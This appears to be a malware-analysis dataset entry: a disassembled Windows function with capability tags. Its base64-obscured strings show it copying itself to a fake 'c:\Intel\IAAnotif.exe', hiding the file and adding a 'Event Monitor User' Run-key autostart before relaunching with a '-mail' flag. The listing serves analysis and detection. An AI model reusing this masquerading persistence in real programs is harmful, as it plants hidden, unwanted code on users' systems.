Function at 0x4022e0
Capabilities:
Create directory
Delete directory
Query or enumerate registry value
Read file on windows
Set file attributes
Set registry value
Write file on windows

Disassembly:
push ebp
mov eax, 0x10
mov ebp, esp
push edi
push esi
push ebx
sub esp, 0x43c
and esp, 0xfffffff0
call fcn.00402ba0
call fcn.00402840
mov dword [esp], str.YzpcSW50ZWw
xor ebx, ebx
mov edi, 1
call fcn.004012b0
mov dword [0x405070], eax
mov dword [esp], str.YzpcSW50ZWxcaWFhaGNpLmNhdA
call fcn.004012b0
mov dword [0x405080], eax
mov dword [esp], str.YzpcSW50ZWxcSUFBbm90aWYuZXhl
call fcn.004012b0
mov dword [0x405060], eax
mov dword [esp], eax
call sub.msvcrt.dll_strlen
add eax, 0xa
mov dword [esp], eax
call sub.msvcrt.dll_malloc
mov ecx, dword [0x405060]
mov esi, eax
mov dword [esp], eax
mov dword [esp + 4], ecx
call sub.msvcrt.dll_strcpy
mov dword [esp], esi
call sub.msvcrt.dll_strlen
mov dword [eax + esi], 0x732d20
mov eax, 0x3e8
mov dword [ebp - 0x410], eax
mov dword [esp], str.U09GVFdBUkVcTWljcm9zb2Z0XFdpbmRvd3NcQ3VycmVudFZlcnNpb25cUnVu
call fcn.004012b0
mov dword [esp + 4], eax
lea edx, [ebp - 0x40c]
mov dword [esp + 0x10], edx
mov dword [esp + 0xc], edi
mov dword [esp + 8], ebx
mov dword [esp], 0x80000001
call sub.ADVAPI32.DLL_RegOpenKeyExA
sub esp, 0x14
test eax, eax
je 0x402420
mov ebx, 0x404508
mov dword [esp + 4], ebx
mov eax, dword [0x405060]
mov dword [esp], eax
call sub.msvcrt.dll_fopen
test eax, eax
je 0x4025c0
mov dword [esp], eax
call sub.msvcrt.dll_fclose
cmp dword [ebp + 8], 1
jle 0x402410
cld
mov eax, dword [ebp + 0xc]
mov edi, 0x40450a
mov ecx, 3
mov ebx, dword [eax + 4]
mov esi, ebx
repe cmpsb byte [esi], byte es:[edi]
je 0x402556
cld
mov edi, str._mail
mov esi, ebx
mov ecx, 6
repe cmpsb byte [esi], byte es:[edi]
je 0x402512
lea esi, [esi]
lea esp, [ebp - 0xc]
xor eax, eax
pop ebx
pop esi
pop edi
pop ebp
ret
mov dword [esp], str.RXZlbnQgTW9uaXRvciBVc2Vy
lea edi, [ebp - 0x410]
call fcn.004012b0
mov dword [esp + 0x14], edi
xor ecx, ecx
xor edx, edx
mov dword [esp + 0xc], ecx
lea edi, [ebp - 0x408]
mov dword [esp + 0x10], edi
mov dword [esp + 8], edx
mov dword [esp + 4], eax
mov ebx, dword [ebp - 0x40c]
mov dword [esp], ebx
mov ebx, 2
call sub.ADVAPI32.DLL_RegQueryValueExA
sub esp, 0x18
test eax, eax
jne 0x402480
mov dword [esp + 4], edi
mov dword [esp], esi
call sub.msvcrt.dll_strcmp
cmp eax, 1
sbb ebx, ebx
not ebx
and ebx, 2
mov eax, dword [ebp - 0x40c]
mov dword [esp], eax
call sub.ADVAPI32.DLL_RegCloseKey
sub esp, 4
cmp ebx, 2
jne 0x4023ae
mov dword [esp], str.U09GVFdBUkVcTWljcm9zb2Z0XFdpbmRvd3NcQ3VycmVudFZlcnNpb25cUnVu
lea ebx, [ebp - 0x414]
call fcn.004012b0
mov dword [esp + 4], eax
mov dword [esp + 8], ebx
mov dword [esp], 0x80000001
call sub.ADVAPI32.DLL_RegCreateKeyA
sub esp, 0xc
test eax, eax
jne 0x4023ae
mov dword [esp], esi
call sub.msvcrt.dll_strlen
mov dword [esp], str.RXZlbnQgTW9uaXRvciBVc2Vy
mov edi, eax
call fcn.004012b0
mov dword [esp + 4], eax
mov ecx, 1
xor edx, edx
mov dword [esp + 0x14], edi
mov dword [esp + 0x10], esi
mov dword [esp + 0xc], ecx
mov dword [esp + 8], edx
mov esi, dword [ebp - 0x414]
mov dword [esp], esi
call sub.ADVAPI32.DLL_RegSetValueExA
sub esp, 0x18
jmp 0x4023ae
mov dword [esp], 0xea60
call sub.msvcrt.dll__sleep
call fcn.00402050
test eax, eax
je 0x402512
xor eax, eax
mov ebx, str.__mail
mov dword [esp + 0xc], eax
mov dword [esp + 8], ebx
mov edx, dword [0x405060]
mov dword [esp], 1
mov dword [esp + 4], edx
call sub.msvcrt.dll__spawnl
xor eax, eax
lea esp, [ebp - 0xc]
pop ebx
pop esi
pop edi
pop ebp
ret
xor edi, edi
mov ebx, str.__mail
mov dword [esp + 0xc], edi
mov dword [esp + 8], ebx
mov edx, dword [0x405060]
mov dword [esp], 1
mov dword [esp + 4], edx
call sub.msvcrt.dll__spawnl
jmp 0x4025a8
mov eax, pe_nt_image_headers32
mov dword [esp + 4], eax
mov ecx, dword [0x405080]
mov dword [esp], ecx
call sub.KERNEL32.dll_SetFileAttributesA
mov esi, dword [0x405080]
sub esp, 8
mov dword [esp], esi
call sub.msvcrt.dll__rmdir
call fcn.00401580
test eax, eax
jne 0x402580
lea esp, [ebp - 0xc]
xor eax, eax
pop ebx
pop esi
pop edi
pop ebp
ret
mov ecx, dword [0x405070]
mov dword [esp], ecx
call sub.msvcrt.dll__mkdir
mov esi, dword [ebp + 0xc]
mov edx, 0x404041
mov edi, dword [esi]
mov esi, dword [0x405060]
mov dword [esp + 4], edx
mov dword [esp], edi
call sub.msvcrt.dll_fopen
test eax, eax
mov ebx, eax
je 0x40267e
mov dword [esp], esi
mov eax, 0x404044
mov dword [esp + 4], eax
call sub.msvcrt.dll_fopen
test eax, eax
mov edi, eax
je 0x40267e
test byte [ebx + 0xc], 0x10
jne 0x40266e
lea esi, [ebp - 0x415]
mov dword [ebp - 0x41c], esi
lea esi, [esi]
mov dword [esp + 0xc], ebx
mov ecx, 1
mov edx, 1
mov dword [esp + 8], ecx
mov dword [esp + 4], edx
mov eax, dword [ebp - 0x41c]
mov dword [esp], eax
call sub.msvcrt.dll_fread
mov dword [esp + 0xc], edi
mov ecx, 1
mov edx, 1
mov dword [esp + 8], ecx
mov dword [esp + 4], edx
mov dword [ebp - 0x41c], esi
mov dword [esp], esi
call sub.msvcrt.dll_fwrite
test byte [ebx + 0xc], 0x10
je 0x402620
mov dword [esp], ebx
call sub.msvcrt.dll_fclose
mov dword [esp], edi
call sub.msvcrt.dll_fclose
mov ebx, 6
xor esi, esi
mov edi, 0x40451a
mov dword [esp + 4], ebx
mov ecx, dword [0x405060]
mov dword [esp], ecx
call sub.KERNEL32.dll_SetFileAttributesA
sub esp, 8
mov edx, pe_nt_image_headers32
mov dword [esp + 4], edx
mov eax, dword [0x405070]
mov dword [esp], eax
call sub.KERNEL32.dll_SetFileAttributesA
sub esp, 8
mov dword [esp + 0xc], esi
mov dword [esp + 8], edi
mov ebx, dword [0x405060]
mov dword [esp], 1
mov dword [esp + 4], ebx
call sub.msvcrt.dll__spawnl
jmp 0x4023d4